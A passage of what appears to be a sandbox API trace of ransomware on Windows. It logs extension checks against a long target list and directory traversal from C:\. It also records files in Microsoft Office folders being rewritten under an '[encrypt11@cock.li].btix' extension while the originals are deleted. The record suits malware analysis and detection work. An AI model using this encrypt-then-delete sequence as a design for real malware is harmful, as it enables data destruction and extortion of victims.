(lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.665] lstrlenW (lpString=".ppt") returned 4 [0160.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.665] lstrlenW (lpString=".zip") returned 4 [0160.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString=".rar") returned 4 [0160.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.665] lstrlenW (lpString=".bz2") returned 4 [0160.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.665] lstrlenW (lpString=".7z") returned 3 [0160.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.665] lstrlenW (lpString=".dbf") returned 4 [0160.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.666] lstrlenW (lpString=".1cd") returned 4 [0160.666] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0160.666] lstrlenW (lpString=".jpg") returned 4 [0160.666] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.667] GetLastError () returned 0x0 [0160.667] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xdbcc0, lpOverlapped=0x0) returned 1 [0160.768] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xdbcd0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xdbcd0, lpOverlapped=0x0) returned 1 [0160.780] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.780] WriteFile (in: hFile=0x2fc, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.780] SetEndOfFile (hFile=0x2fc) returned 1 [0160.781] CloseHandle (hObject=0x2fc) returned 1 [0160.781] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.781] SetEndOfFile (hFile=0x364) returned 1 [0160.787] CloseHandle (hObject=0x364) returned 1 [0160.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 1 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString=".doc") returned 4 [0160.846] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString=".docx") returned 5 [0160.846] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0160.846] lstrlenW (lpString=".pdf") returned 4 [0160.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString=".xls") returned 4 [0160.846] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString=".xlsx") returned 5 [0160.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0160.846] lstrlenW (lpString=".ppt") returned 4 [0160.846] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString=".zip") returned 4 [0160.846] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString=".rar") returned 4 [0160.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.846] lstrlenW (lpString=".bz2") returned 4 [0160.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.846] lstrlenW (lpString=".7z") returned 3 [0160.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString=".dbf") returned 4 [0160.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString=".1cd") returned 4 [0160.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0160.846] lstrlenW (lpString=".jpg") returned 4 [0160.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.847] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.847] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0160.847] GetLastError () returned 0x0 [0160.847] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xb000, lpOverlapped=0x0) returned 1 [0161.544] WriteFile (in: hFile=0x3a4, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xb010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xb010, lpOverlapped=0x0) returned 1 [0161.548] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x3a4, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0161.548] SetEndOfFile (hFile=0x3a4) returned 1 [0161.548] CloseHandle (hObject=0x3a4) returned 1 [0161.548] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.548] SetEndOfFile (hFile=0x2fc) returned 1 [0161.549] CloseHandle (hObject=0x2fc) returned 1 [0161.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 1 [0161.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.550] lstrlenW (lpString=".doc") returned 4 [0161.550] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0161.550] lstrlenW (lpString=".docx") returned 5 [0161.550] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0161.550] lstrlenW (lpString=".pdf") returned 4 [0161.550] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0161.550] lstrlenW (lpString=".xls") returned 4 [0161.551] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0161.551] lstrlenW (lpString=".xlsx") returned 5 [0161.551] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0161.551] lstrlenW (lpString=".ppt") returned 4 [0161.551] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.551] lstrlenW (lpString=".zip") returned 4 [0161.551] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0161.551] lstrlenW (lpString=".rar") returned 4 [0161.551] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0161.551] lstrlenW (lpString=".bz2") returned 4 [0161.551] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0161.551] lstrlenW (lpString=".7z") returned 3 [0161.551] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.551] lstrlenW (lpString=".dbf") returned 4 [0161.551] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.551] lstrlenW (lpString=".1cd") returned 4 [0161.551] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73 [0161.551] lstrlenW (lpString=".jpg") returned 4 [0161.551] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0161.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0161.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.553] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1 [0161.553] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.553] ReadFile (hFile=0x2fc, lpBuffer=0x436a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0) Thread: id = 104 os_tid = 0xfe8 [0146.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4170930 [0146.498] lstrlenW (lpString="C:") returned 2 [0146.498] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 0x6c1aa0 [0146.499] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0146.499] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0146.499] lstrlenW (lpString="$GetCurrent") returned 11 [0146.499] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0146.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4180938 [0146.499] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0146.499] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0x6c1660 [0146.499] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.499] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.499] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0146.499] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0146.499] lstrlenW (lpString="Logs") returned 4 [0146.499] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0146.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.500] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0146.500] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1ae0 [0146.500] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.500] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.501] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix") returned 74 [0146.501] lstrlenW (lpString=".1cd") returned 4 [0146.501] lstrcmpiW (lpString1=".1cd", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".3ds") returned 4 [0146.501] lstrcmpiW (lpString1=".3ds", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".3fr") returned 4 [0146.501] lstrcmpiW (lpString1=".3fr", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".3g2") returned 4 [0146.501] lstrcmpiW (lpString1=".3g2", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".3gp") returned 4 [0146.501] lstrcmpiW (lpString1=".3gp", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".7z") returned 3 [0146.501] lstrcmpiW (lpString1=".7z", lpString2="tix") returned -1 [0146.501] lstrlenW (lpString=".accda") returned 6 [0146.501] lstrcmpiW (lpString1=".accda", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".accdb") returned 6 [0146.501] lstrcmpiW (lpString1=".accdb", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".accdc") returned 6 [0146.501] lstrcmpiW (lpString1=".accdc", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".accde") returned 6 [0146.501] lstrcmpiW (lpString1=".accde", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".accdt") returned 6 [0146.501] lstrcmpiW (lpString1=".accdt", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".accdw") returned 6 [0146.501] lstrcmpiW (lpString1=".accdw", lpString2="].btix") returned -1 [0146.501] lstrlenW (lpString=".adb") returned 4 [0146.501] lstrcmpiW (lpString1=".adb", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".adp") returned 4 [0146.501] lstrcmpiW (lpString1=".adp", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".ai") returned 3 [0146.501] lstrcmpiW (lpString1=".ai", lpString2="tix") returned -1 [0146.501] lstrlenW (lpString=".ai3") returned 4 [0146.501] lstrcmpiW (lpString1=".ai3", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".ai4") returned 4 [0146.501] lstrcmpiW (lpString1=".ai4", lpString2="btix") returned -1 [0146.501] lstrlenW (lpString=".ai5") returned 4 [0146.502] lstrcmpiW (lpString1=".ai5", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".ai6") returned 4 [0146.502] lstrcmpiW (lpString1=".ai6", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".ai7") returned 4 [0146.502] lstrcmpiW (lpString1=".ai7", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".ai8") returned 4 [0146.502] lstrcmpiW (lpString1=".ai8", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".anim") returned 5 [0146.502] lstrcmpiW (lpString1=".anim", lpString2=".btix") returned -1 [0146.502] lstrlenW (lpString=".arw") returned 4 [0146.502] lstrcmpiW (lpString1=".arw", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".as") returned 3 [0146.502] lstrcmpiW (lpString1=".as", lpString2="tix") returned -1 [0146.502] lstrlenW (lpString=".asa") returned 4 [0146.502] lstrcmpiW (lpString1=".asa", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".asc") returned 4 [0146.502] lstrcmpiW (lpString1=".asc", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".ascx") returned 5 [0146.502] lstrcmpiW (lpString1=".ascx", lpString2=".btix") returned -1 [0146.502] lstrlenW (lpString=".asm") returned 4 [0146.502] lstrcmpiW (lpString1=".asm", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".asmx") returned 5 [0146.502] lstrcmpiW (lpString1=".asmx", lpString2=".btix") returned -1 [0146.502] lstrlenW (lpString=".asp") returned 4 [0146.502] lstrcmpiW (lpString1=".asp", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".aspx") returned 5 [0146.502] lstrcmpiW (lpString1=".aspx", lpString2=".btix") returned -1 [0146.502] lstrlenW (lpString=".asr") returned 4 [0146.502] lstrcmpiW (lpString1=".asr", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".asx") returned 4 [0146.502] lstrcmpiW (lpString1=".asx", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".avi") returned 4 [0146.502] lstrcmpiW (lpString1=".avi", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".avs") returned 4 [0146.502] lstrcmpiW (lpString1=".avs", lpString2="btix") returned -1 [0146.502] lstrlenW (lpString=".backup") returned 7 [0146.502] lstrcmpiW (lpString1=".backup", lpString2="i].btix") returned -1 [0146.503] lstrlenW (lpString=".bak") returned 4 [0146.503] lstrcmpiW (lpString1=".bak", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".bay") returned 4 [0146.503] lstrcmpiW (lpString1=".bay", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".bd") returned 3 [0146.503] lstrcmpiW (lpString1=".bd", lpString2="tix") returned -1 [0146.503] lstrlenW (lpString=".bin") returned 4 [0146.503] lstrcmpiW (lpString1=".bin", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".bmp") returned 4 [0146.503] lstrcmpiW (lpString1=".bmp", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".bz2") returned 4 [0146.503] lstrcmpiW (lpString1=".bz2", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".c") returned 2 [0146.503] lstrcmpiW (lpString1=".c", lpString2="ix") returned -1 [0146.503] lstrlenW (lpString=".cdr") returned 4 [0146.503] lstrcmpiW (lpString1=".cdr", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".cer") returned 4 [0146.503] lstrcmpiW (lpString1=".cer", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".cf") returned 3 [0146.503] lstrcmpiW (lpString1=".cf", lpString2="tix") returned -1 [0146.503] lstrlenW (lpString=".cfc") returned 4 [0146.503] lstrcmpiW (lpString1=".cfc", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".cfm") returned 4 [0146.503] lstrcmpiW (lpString1=".cfm", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".cfml") returned 5 [0146.503] lstrcmpiW (lpString1=".cfml", lpString2=".btix") returned 1 [0146.503] lstrlenW (lpString=".cfu") returned 4 [0146.503] lstrcmpiW (lpString1=".cfu", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".chm") returned 4 [0146.503] lstrcmpiW (lpString1=".chm", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".cin") returned 4 [0146.503] lstrcmpiW (lpString1=".cin", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".class") returned 6 [0146.503] lstrcmpiW (lpString1=".class", lpString2="].btix") returned -1 [0146.503] lstrlenW (lpString=".clx") returned 4 [0146.503] lstrcmpiW (lpString1=".clx", lpString2="btix") returned -1 [0146.503] lstrlenW (lpString=".config") returned 7 [0146.504] lstrcmpiW (lpString1=".config", lpString2="i].btix") returned -1 [0146.504] lstrlenW (lpString=".cpp") returned 4 [0146.504] lstrcmpiW (lpString1=".cpp", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".cr2") returned 4 [0146.504] lstrcmpiW (lpString1=".cr2", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".crt") returned 4 [0146.504] lstrcmpiW (lpString1=".crt", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".crw") returned 4 [0146.504] lstrcmpiW (lpString1=".crw", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".cs") returned 3 [0146.504] lstrcmpiW (lpString1=".cs", lpString2="tix") returned -1 [0146.504] lstrlenW (lpString=".css") returned 4 [0146.504] lstrcmpiW (lpString1=".css", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".csv") returned 4 [0146.504] lstrcmpiW (lpString1=".csv", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".cub") returned 4 [0146.504] lstrcmpiW (lpString1=".cub", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dae") returned 4 [0146.504] lstrcmpiW (lpString1=".dae", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dat") returned 4 [0146.504] lstrcmpiW (lpString1=".dat", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".db") returned 3 [0146.504] lstrcmpiW (lpString1=".db", lpString2="tix") returned -1 [0146.504] lstrlenW (lpString=".dbf") returned 4 [0146.504] lstrcmpiW (lpString1=".dbf", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dbx") returned 4 [0146.504] lstrcmpiW (lpString1=".dbx", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dc3") returned 4 [0146.504] lstrcmpiW (lpString1=".dc3", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dcm") returned 4 [0146.504] lstrcmpiW (lpString1=".dcm", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".dcr") returned 4 [0146.504] lstrcmpiW (lpString1=".dcr", lpString2="btix") returned -1 [0146.504] lstrlenW (lpString=".der") returned 4 [0146.504] lstrcmpiW (lpString1=".der", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dib") returned 4 [0146.505] lstrcmpiW (lpString1=".dib", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dic") returned 4 [0146.505] lstrcmpiW (lpString1=".dic", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dif") returned 4 [0146.505] lstrcmpiW (lpString1=".dif", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".divx") returned 5 [0146.505] lstrcmpiW (lpString1=".divx", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".djvu") returned 5 [0146.505] lstrcmpiW (lpString1=".djvu", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".dng") returned 4 [0146.505] lstrcmpiW (lpString1=".dng", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".doc") returned 4 [0146.505] lstrcmpiW (lpString1=".doc", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".docm") returned 5 [0146.505] lstrcmpiW (lpString1=".docm", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".docx") returned 5 [0146.505] lstrcmpiW (lpString1=".docx", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".dot") returned 4 [0146.505] lstrcmpiW (lpString1=".dot", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dotm") returned 5 [0146.505] lstrcmpiW (lpString1=".dotm", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".dotx") returned 5 [0146.505] lstrcmpiW (lpString1=".dotx", lpString2=".btix") returned 1 [0146.505] lstrlenW (lpString=".dpx") returned 4 [0146.505] lstrcmpiW (lpString1=".dpx", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dqy") returned 4 [0146.505] lstrcmpiW (lpString1=".dqy", lpString2="btix") returned -1 [0146.505] lstrlenW (lpString=".dsn") returned 4 [0146.505] lstrcmpiW (lpString1=".dsn", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".dt") returned 3 [0146.506] lstrcmpiW (lpString1=".dt", lpString2="tix") returned -1 [0146.506] lstrlenW (lpString=".dtd") returned 4 [0146.506] lstrcmpiW (lpString1=".dtd", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".dwg") returned 4 [0146.506] lstrcmpiW (lpString1=".dwg", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".dwt") returned 4 [0146.506] lstrcmpiW (lpString1=".dwt", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".dx") returned 3 [0146.506] lstrcmpiW (lpString1=".dx", lpString2="tix") returned -1 [0146.506] lstrlenW (lpString=".dxf") returned 4 [0146.506] lstrcmpiW (lpString1=".dxf", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".edml") returned 5 [0146.506] lstrcmpiW (lpString1=".edml", lpString2=".btix") returned 1 [0146.506] lstrlenW (lpString=".efd") returned 4 [0146.506] lstrcmpiW (lpString1=".efd", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".elf") returned 4 [0146.506] lstrcmpiW (lpString1=".elf", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".emf") returned 4 [0146.506] lstrcmpiW (lpString1=".emf", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".emz") returned 4 [0146.506] lstrcmpiW (lpString1=".emz", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".epf") returned 4 [0146.506] lstrcmpiW (lpString1=".epf", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".eps") returned 4 [0146.506] lstrcmpiW (lpString1=".eps", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".epsf") returned 5 [0146.506] lstrcmpiW (lpString1=".epsf", lpString2=".btix") returned 1 [0146.506] lstrlenW (lpString=".epsp") returned 5 [0146.506] lstrcmpiW (lpString1=".epsp", lpString2=".btix") returned 1 [0146.506] lstrlenW (lpString=".erf") returned 4 [0146.506] lstrcmpiW (lpString1=".erf", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".exr") returned 4 [0146.506] lstrcmpiW (lpString1=".exr", lpString2="btix") returned -1 [0146.506] lstrlenW (lpString=".f4v") returned 4 [0146.506] lstrcmpiW (lpString1=".f4v", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".fido") returned 5 [0146.507] lstrcmpiW (lpString1=".fido", lpString2=".btix") returned 1 [0146.507] lstrlenW (lpString=".flm") returned 4 [0146.507] lstrcmpiW (lpString1=".flm", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".flv") returned 4 [0146.507] lstrcmpiW (lpString1=".flv", lpString2="btix") 